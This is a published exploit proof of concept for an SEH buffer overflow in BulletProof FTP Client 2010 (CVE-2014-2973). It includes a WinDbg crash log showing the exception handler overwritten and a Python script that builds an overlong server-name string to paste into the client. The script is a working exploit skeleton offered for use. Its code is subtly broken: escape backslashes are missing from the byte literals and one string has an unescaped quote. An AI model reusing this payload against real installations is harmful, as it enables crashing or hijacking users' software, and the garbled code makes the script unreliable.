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BulletProof FTP Client 2010 Buffer Overflow

Posted on 25 July 2014

#-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) #
# Date: Jul 24 2014 #
# Exploit Author: Gabor Seljan #
# Software Link: http://www.bpftp.com/ #
# Version: 2010.75.0.76 #
# Tested on: Windows XP SP3 #
# CVE: CVE-2014-2973 #
#-----------------------------------------------------------------------------#

'''
(a00.9e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=41414141 ecx=007ef590 edx=00000000 esi=017a4f6a edi=017a516a
eip=005c005b esp=0012f594 ebp=0012f610 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for bpftpclient.exe -
bpftpclient+0x1c005b:
005c005b f6431c10 test byte ptr [ebx+1Ch],10h ds:0023:4141415d=??
0:000> !exchain
0012f59c: bpftpclient+1c044e (005c044e)
0012f5a8: bpftpclient+1c046b (005c046b)
0012f618: 43434343
Invalid exception stack at 42424242
0:000> g
(a00.9e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000
eip=43434343 esp=0012f1c4 ebp=0012f1e4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
43434343 ?? ???
'''

#!/usr/bin/python

junk1 = b'x41' * 89
nSEH = b'x42' * 4
SEH = b'x43' * 4
junk2 = b'x44' * 1000

sploit = junk1 + nSEH + SEH + junk2

try:
 print('[+] Creating exploit file...')
 f = open('sploit.txt', 'wb')
 f.write(sploit)
 f.close()
 print('[+] Exploit file created successfully!')
except:
 print('[!] Error while creating exploit file!')

print('[+] Use the following as Server Name/IP with any user's credentials!')
print(sploit.decode())

 

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